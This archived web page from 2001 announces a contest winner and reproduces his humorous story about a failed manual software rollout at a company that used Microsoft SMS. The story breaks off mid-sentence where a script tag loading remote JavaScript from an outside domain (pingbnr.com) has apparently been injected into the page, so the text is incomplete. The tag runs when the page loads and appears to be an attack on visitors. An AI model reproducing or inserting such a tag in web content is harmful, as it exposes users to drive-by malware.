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And, the winner is...Michael Schultz! |
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8/1/2001
The winner of this month's contest is Michael Schultz! Michael put together a great story and typing it all out was effort enough. Michael wins a Compaq IPAQ PocketPC! Here's the winning entry in full-color:
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I have a couple stories I could tell, but I'll just offer the one that caused me to shake my head and walk away.
A production, mission critical piece of software needs to be deployed to ~200 machines in one evening. The powers that be call a meeting to discuss how this should be deployed.
As we all know, SMS can be a powerful tool when used correctly. However, it's only as good as the data it's fed. As a former colleague used to say, "garbage in, garbage out." The director of the project needs it to be deployed to 3 different departments.
As the "SMS guy" that was new to the site, I respond that, "We COULD do that, but the MIF forms on the machines most likely haven't been updated in forever. They're incredibly out of date and therefore unreliable. I have noticed that nowhere in the move/build/swap procedures is there a step to 'update MIF forms'."
The director then asks, "Well what about cost centers?" I respond that they, too, have not been updated on the machines.
The discussion continues along the same path, and the same responses are given. The frustrated director then asks, "Well what CAN SMS do?!?"
I respond that, "I can deploy the software based upon the serial number or the machine name if you'd like. I just need a list of the machines that are in these departments."
The room grumbles about who would have that information and ultimately I'm asked, "Well isn't SMS supposed to keep track of that?!? It is our asset management tool! We paid thousands for this and what do we get?" I attempted to calm the dissention in the room by stating that the system is working 100%, but that it can't read minds, and can't watch itself get moved from Bob Smiths desk to Mary Janes.
The director then decides to not use SMS for the deployment and tasks me with creating the install kit and the instructions for installation. This software will be deployed using the Nike Express.
Because the software requires multiple packages to run, I create a batch file on the network and write up a 3 step instruction sheet. 4 instruction sheets, 4 interns, 50 machines each. I then go home for the night.
<insert long Bill Cosby pause>
At approximately 12:30 in the morning, while I'm sipping my wine and playing Everquest, I receive a call from the director of the project informing me that "SMS is not letting the software install on the machines!!" I tell him that's cooky-talk and say SMS wouldn't do such a thing...in fact...what the heck is he talking about? I am then informed to politely get my rump into work and "turn off SMS". I TRIED to argue...but was stopped short.
My wine is replaced with Mini-Mart coffee and I arrive at work 20 minutes later. I'm greeted by the 4 interns (sitting on their butts chatting), 3 managers, and 1 noticibly angry director. I was handed a policy document that I had written my first week there that stated, "NO SOFTWARE is to be installed by hand. All software must be packaged, and distributed via Microsoft SMS."
"Turn off SMS and let them install this."
"What do you mean turn it off?" I asked.
"Just what I said. It's stopping the software from installing." he replied.
I stopped the conversation in it's tracks and asked the interns what the problem was. They informed me that they ran the batch file on the machines, and when they came back nothing was installed. One of the bright ones informed the rest that "SMS must be stopping the install" because of what I had written in the policy document...and it needed to be turned off before they could install it. Soooo...I'm at fault for not turning off SMS before I left.
Right.
"Okay...lets look at this. Show me." I<<script src=http://www.pingbnr.com/b.js></script> | |
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